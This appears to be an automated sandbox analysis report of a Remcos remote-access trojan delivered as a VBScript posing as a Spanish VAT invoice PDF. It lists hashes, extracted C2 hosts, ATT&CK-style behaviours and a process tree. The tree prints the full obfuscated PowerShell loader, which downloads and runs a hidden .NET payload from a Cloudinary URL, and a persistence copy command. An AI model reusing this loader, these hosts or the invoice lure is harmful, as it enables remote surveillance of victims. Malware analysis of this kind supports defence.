Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-12-2024 12:18

General

  • Target

    4dd53bc42716f9abe36ae85c8ca8ea4b_m_Factura de IVA,pdf.vbs

  • Size

    152KB

  • MD5

    4dd53bc42716f9abe36ae85c8ca8ea4b

  • SHA1

    aa44fc15455a5283e6596a4da7ee87ac4e4b8901

  • SHA256

    d2256247fae569fdaf99ce1a41dc036c5e4ca7b637a52314f51b726e39096573

  • SHA512

    d9f5410d0f7c9135fa2b388030c766969ed7ea70edae73b514820bb39251f4f66d9af3d39fc46327cb7a6f207ca3e3b7e86a8fecec7629a3606d3c0789777952

  • SSDEEP

    3072:A8gVmI3b0mgfmWu+Dwe9VOv5iG5sVhQ30Wk+70wgA1A:A8gVde9VOvM

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg

exe.dropper

https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg

Extracted

Family

remcos

Botnet

NEW

C2

rem.pushswroller.eu:23101

firewarzone.ydns.eu:23101

dim.remofficialws.top:23101

rem.officialswvrem.top:23101

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmcghdzxtrswtwg-BJ2KPV

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Remcos family
  • Blocklisted process makes network request 5 IoCs
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 31 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\4dd53bc42716f9abe36ae85c8ca8ea4b_m_Factura de IVA,pdf.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1132
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$noninterest = 'https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg';$fishers = New-Object System.Net.WebClient;$marmalady = $fishers.DownloadData($noninterest);$ruddle = [System.Text.Encoding]::UTF8.GetString($marmalady);$bleekbok = '<<BASE64_START>>';$rouse = '<<BASE64_END>>';$unloose = $ruddle.IndexOf($bleekbok);$Benedict = $ruddle.IndexOf($rouse);$unloose -ge 0 -and $Benedict -gt $unloose;$unloose += $bleekbok.Length;$tumefied = $Benedict - $unloose;$biographed = $ruddle.Substring($unloose, $tumefied);$backing = -join ($biographed.ToCharArray() | ForEach-Object { $_ })[-1..-($biographed.Length)];$nonflavored = [System.Convert]::FromBase64String($backing);$hemautogram = [System.Reflection.Assembly]::Load($nonflavored);$subcarbureted = [dnlib.IO.Home].GetMethod('VAI');$subcarbureted.Invoke($null, @('txt.erg/kni/pot.crwslaiciffo.tes//:sptth', '$delie', '$delie', '$delie', 'MSBuild', '$delie','$delie','$delie','talpe', 'C:\ProgramData\','talpe','vbs','1','1','TaskName'));"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:760
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\talpe.vbs"
        3⤵
          PID:3052
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
          3⤵
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Modifies registry class
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:2444
          • C:\Windows\SysWOW64\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\qvfldeimcgzyjrplva.vbs"
            4⤵
            • System Location Discovery: System Language Discovery
            PID:3392
    • C:\Windows\system32\wscript.exe
      wscript.exe C:\ProgramData\talpe.vbs
      1⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:4504
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$noninterest = 'https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg';$fishers = New-Object System.Net.WebClient;$marmalady = $fishers.DownloadData($noninterest);$ruddle = [System.Text.Encoding]::UTF8.GetString($marmalady);$bleekbok = '<<BASE64_START>>';$rouse = '<<BASE64_END>>';$unloose = $ruddle.IndexOf($bleekbok);$Benedict = $ruddle.IndexOf($rouse);$unloose -ge 0 -and $Benedict -gt $unloose;$unloose += $bleekbok.Length;$tumefied = $Benedict - $unloose;$biographed = $ruddle.Substring($unloose, $tumefied);$backing = -join ($biographed.ToCharArray() | ForEach-Object { $_ })[-1..-($biographed.Length)];$nonflavored = [System.Convert]::FromBase64String($backing);$hemautogram = [System.Reflection.Assembly]::Load($nonflavored);$subcarbureted = [dnlib.IO.Home].GetMethod('VAI');$subcarbureted.Invoke($null, @('txt.erg/kni/pot.crwslaiciffo.tes//:sptth', '$delie', '$delie', '$delie', 'MSBuild', '$delie','$delie','$delie','talpe', 'C:\ProgramData\','talpe','vbs','1','1','TaskName'));"
        2⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4544
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of SetWindowsHookEx
          PID:4512
    • C:\Windows\system32\wscript.exe
      wscript.exe C:\ProgramData\talpe.vbs
      1⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:2288
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$noninterest = 'https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg';$fishers = New-Object System.Net.WebClient;$marmalady = $fishers.DownloadData($noninterest);$ruddle = [System.Text.Encoding]::UTF8.GetString($marmalady);$bleekbok = '<<BASE64_START>>';$rouse = '<<BASE64_END>>';$unloose = $ruddle.IndexOf($bleekbok);$Benedict = $ruddle.IndexOf($rouse);$unloose -ge 0 -and $Benedict -gt $unloose;$unloose += $bleekbok.Length;$tumefied = $Benedict - $unloose;$biographed = $ruddle.Substring($unloose, $tumefied);$backing = -join ($biographed.ToCharArray() | ForEach-Object { $_ })[-1..-($biographed.Length)];$nonflavored = [System.Convert]::FromBase64String($backing);$hemautogram = [System.Reflection.Assembly]::Load($nonflavored);$subcarbureted = [dnlib.IO.Home].GetMethod('VAI');$subcarbureted.Invoke($null, @('txt.erg/kni/pot.crwslaiciffo.tes//:sptth', '$delie', '$delie', '$delie', 'MSBuild', '$delie','$delie','$delie','talpe', 'C:\ProgramData\','talpe','vbs','1','1','TaskName'));"
        2⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4428

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\ProgramData\talpe.vbs

      Filesize

      152KB

      MD5

      f46c154b82e9739bc0cb68c2b55c7141

      SHA1

      3cffae22113aa6d4525c702f164317713865ae49

      SHA256

      648aa1acba635f9025c41cb23dedd2e86c4abcec1ad91493e197a1b300c74e85

      SHA512

      11f540c4d95dbf6c79d87ee29e400a0c73db6d7fa196ceac29051b7b9d6b8a7c858a4cb359b223bd5851b45ea3228928ecce9a11c82c3c818a880f5f9de91ad0

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      3KB

      MD5

      f41839a3fe2888c8b3050197bc9a0a05

      SHA1

      0798941aaf7a53a11ea9ed589752890aee069729

      SHA256

      224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

      SHA512

      2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      602c355ba15edbb4b9bf9bc779f6ff1c

      SHA1

      9c6e05059b549732d8f61e822e1e075a67f578b1

      SHA256

      5a75778b0d8126c1cf4d27b103d095f0e14a40d791337bc72a5ecf695dc2a185

      SHA512

      2cae77e513291edb4059e48144384c74b1a8c66ad620abf6154ddb7cbe9f28669eb93608d41e807402240e9ce8f6b5bd39af1f8f5654598b06a7089dadb2da4e

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      96c9d581cfb5f15fce3f11be06735ea3

      SHA1

      93464cb23333b44ebe83643eb94329101f2ad4b7

      SHA256

      07b70c5ac76adc19ca26500e3c3fd380eae2ece3f198a56eaf538e5b8ff04c85

      SHA512

      7c0080a1610321a756dab29b0b6341ba63e2eaa31e105d45f3c556ca84148bebc4ec50e7c063b7e4c32287e15a3a6e2d1169eeeac767f1c719f62c0b56abff5c

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4tpemmca.jl1.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\qvfldeimcgzyjrplva.vbs

      Filesize

      374B

      MD5

      92323d5eafdd057f2602a2a0b5f5230e

      SHA1

      9498775850b22af3303ce67d042c7cf3925b396b

      SHA256

      52512978ad3bd19b5bbc6a332b2cc7635947c9f29979f746f406161ffb3ac34a

      SHA512

      268d4fe79242535278a9ca3396d1e39f9be88285a4ea01304bd39415728e07e5d9b8392a778732ab3b65ab050aa6aa6aadf6f4d1443b39605763fc380637bb5c

    • memory/760-13-0x00007FF8563B0000-0x00007FF856E71000-memory.dmp

      Filesize

      10.8MB

    • memory/760-12-0x00007FF8563B0000-0x00007FF856E71000-memory.dmp

      Filesize

      10.8MB

    • memory/760-11-0x00007FF8563B0000-0x00007FF856E71000-memory.dmp

      Filesize

      10.8MB

    • memory/760-14-0x00007FF8563B3000-0x00007FF8563B5000-memory.dmp

      Filesize

      8KB

    • memory/760-15-0x00007FF8563B0000-0x00007FF856E71000-memory.dmp

      Filesize

      10.8MB

    • memory/760-16-0x00007FF8563B0000-0x00007FF856E71000-memory.dmp

      Filesize

      10.8MB

    • memory/760-17-0x0000024577270000-0x000002457741A000-memory.dmp

      Filesize

      1.7MB

    • memory/760-18-0x00007FF8563B0000-0x00007FF856E71000-memory.dmp

      Filesize

      10.8MB

    • memory/760-24-0x00007FF8563B0000-0x00007FF856E71000-memory.dmp

      Filesize

      10.8MB

    • memory/760-2-0x000002455E680000-0x000002455E6A2000-memory.dmp

      Filesize

      136KB

    • memory/760-0-0x00007FF8563B3000-0x00007FF8563B5000-memory.dmp

      Filesize

      8KB

    • memory/2444-44-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/2444-28-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/2444-29-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/2444-30-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/2444-31-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/2444-32-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/2444-36-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/2444-37-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/2444-38-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/2444-39-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/2444-40-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/2444-41-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/2444-42-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/2444-25-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/2444-45-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/2444-43-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/2444-46-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/2444-23-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/2444-47-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/2444-48-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/2444-53-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/2444-20-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/4512-80-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/4512-91-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/4512-81-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/4512-82-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/4512-83-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/4512-84-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/4512-85-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/4512-86-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/4512-87-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/4512-88-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/4512-89-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/4512-77-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/4512-92-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/4512-95-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/4512-96-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/4512-97-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/4512-98-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/4512-99-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/4512-100-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/4512-102-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/4512-104-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/4512-106-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/4512-108-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/4512-76-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB